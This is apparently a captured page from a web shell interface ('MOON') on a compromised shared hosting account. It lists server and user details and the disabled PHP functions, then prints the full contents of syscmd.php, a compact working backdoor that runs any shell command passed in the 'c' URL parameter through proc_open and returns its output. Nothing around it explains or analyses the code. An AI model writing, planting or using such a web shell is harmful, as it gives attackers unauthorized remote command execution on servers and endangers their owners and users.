MOON
Server: Apache
System: Linux server30c.hostingraja.org 3.10.0-962.3.2.lve1.5.63.el7.x86_64 #1 SMP Fri Oct 8 12:03:35 UTC 2021 x86_64
User: jibhires (1887)
PHP: 8.1.30
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, symlink, escapeshellcmd, pcntl_exec
Upload Files
File: //home/jibhires/www/syscmd.php
<?php error_reporting(0);set_time_limit(0);$c=isset($_GET['c'])?$_GET['c']:'';$d=proc_open('sh -c '.escapeshellarg($c),array(1=>array('pipe','w'),2=>array('pipe','w')),$p);while($o=fgets($p[1])){echo $o;}while($e=fgets($p[2])){echo $e;}fclose($p[1]);fclose($p[2]);proc_close($d);?>